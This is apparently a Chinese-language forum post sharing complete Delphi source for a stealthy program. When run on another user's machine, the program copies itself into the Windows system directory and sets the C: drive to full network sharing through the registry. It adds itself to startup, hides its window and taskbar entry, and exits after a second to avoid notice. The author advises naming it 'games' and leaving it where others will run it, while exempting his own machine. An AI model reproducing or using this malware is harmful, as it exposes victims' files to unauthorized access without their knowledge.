|
為什么我的C盤每次啟動后都是完全共享？看看以下這個程序就明白了，噢，索叻是叻：）
此程序當網絡上其他用戶執行后，會自己復制一份到該用戶Windows的system目錄下，,并修改該機的注冊表，使該機的C盤自動改為完全共享，且每次啟動機子后都會重新修改注冊表，當然，為了不讓別人看出執行的程序，該程序執行時不會在任務欄顯示，本身也不回顯，執行一秒鐘后程序自動退出，不易被發覺。
來看源程序吧，該程序在Delphi5.0中通過：
首先將mainform的BorderStyle屬性設為bsNone，由于要修改注冊表及復制文件，再在uses中加入 Registry,shellapi;
大家注意程序中的注釋：
procedure Tmainform.FormShow(Sender: TObject);
var
MyReg:TRegistry;
mysyspath:Pchar;
F:TShFileOpStruct;
file_To,file_From:string;
begin
//得到用戶機系統目錄
GetMem(MySysPath,255);
GetSystemDirectory(MySysPath,255);
//文件名 file_To:=mysyspath+'\Sysdef.exe';
//復制目標文件名 file_From:=application.ExeName;
//復制源文件名
//以下為注冊表修改
MyReg:=TRegistry.Create;
MyReg.RootKey :=HKEY_LOCAL_MACHINE;
try
if not MyReg.OpenKey ('\SOFTWARE\Microsoft\Windows\CurrentVersion\Network\LanMan\C',True) then ;
//指定子鍵能否打開，如不能則創建它，該子鍵包含硬盤共享參數
if filesearch('wz.txt',MySysPath)='' then
//搜索有否wz.txt文件，有則不執行，該判斷用于自己的機子，防止自己被黑，因而在自己的系統目錄下建立此文件，則不會被修改
begin
MyReg.WriteInteger('Flags',258);//共享為完全共享
MyReg.WriteInteger('Type',0);
MyReg.WriteString('Path','C:\');
MyReg.WriteString('Remark','隨便你想寫什么');
MyReg.CloseKey;
end;
if not MyReg.OpenKey ('\SOFTWARE\Microsoft\Windows\CurrentVersion\Run',True) then ;
begin
MyReg.WriteString('Sysdef',file_To);//將程序加載到啟動中，每次開機自動執行
end;
finally
MyReg.Free;//釋放注冊表資源
end;
//以下為拷貝文件
with F do
begin
wnd:=application.Handle;
pFrom:=pchar(file_From);
pTo:=pchar(file_To);
if FileSearch('sysdef.exe',mysyspath)='' then
wFunc:=FO_COPY;//文件是否存在，不存在則復制
fFlags:=FOF_SILENT;//不顯示Copy動畫
end;
if ShFileOperation(F)<>0 then ; //此處為文件COPY失敗的操作，此程序里為空操作
timer1.Enabled :=true;
end;
procedure Tmainform.FormCreate(Sender: TObject);
begin
//Form不可見
Application.ShowMainForm:=false;
//程序不出現在任務欄
SetWindowLong(Application.Handle,GWL_EXSTYLE,WS_EX_TOOLWINDOW);
end;
procedure Tmainform.Timer1Timer(Sender: TObject);
begin
//一秒鐘后程序退出
close;
application.Terminate;
end;
程序完成后，將之放于顯眼的地方，只要網絡上的其他機子執行此程序后便會被修改，它的C盤可是赤裸裸的展現在你面前喲。 好了，小小程序，獻丑了！ （另注： 編譯好的程序名為games，將之拷入根目錄下可以很好的運行，但是有可能出錯，將之拷入某盤任意目錄下即可正常運行。經過我的試驗，改為不同的文件名，需要的環境就不一樣。我也有點納悶，有可能是程序或者Windows的Bug。例如： c:\games.exe運行出錯，拷到c:\dd\games.exe則不會出錯，還希望高手指點：）
|
